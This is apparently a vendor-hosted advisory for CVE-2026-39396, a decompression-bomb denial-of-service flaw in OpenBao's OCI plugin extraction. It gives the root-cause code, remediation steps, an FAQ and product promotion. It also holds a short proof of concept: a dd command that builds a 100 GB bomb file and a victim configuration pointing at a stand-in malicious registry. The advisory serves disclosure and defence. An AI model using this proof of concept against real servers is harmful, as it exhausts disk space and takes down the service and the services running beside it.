Summary
OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
- Set up a malicious OCI registry
- Create a decompression bomb binary:
dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary - Package it in a minimal OCI image
- Push to the malicious registry
- Configure victim OpenBao to use this registry:
plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true - Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server
- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-39396 has a CVSS score of 3.1 (Low). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260420180337-2b2a901aa9f7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Validate
header.Sizeagainst a configurable maximum before opening the output file - Wrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copy - Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
Frequently Asked Questions
- What is CVE-2026-39396? CVE-2026-39396 is a low-severity uncontrolled resource consumption vulnerability in github.com/openbao/openbao (go), affecting versions < 0.0.0-20260420180337-2b2a901aa9f7. It is fixed in 0.0.0-20260420180337-2b2a901aa9f7. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-39396? CVE-2026-39396 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/openbao/openbao are affected by CVE-2026-39396? github.com/openbao/openbao (go) versions < 0.0.0-20260420180337-2b2a901aa9f7 is affected.
- Is there a fix for CVE-2026-39396? Yes. CVE-2026-39396 is fixed in 0.0.0-20260420180337-2b2a901aa9f7. Upgrade to this version or later.
- Is CVE-2026-39396 exploitable, and should I be worried? Whether CVE-2026-39396 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-39396 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-39396? Upgrade
github.com/openbao/openbaoto 0.0.0-20260420180337-2b2a901aa9f7 or later.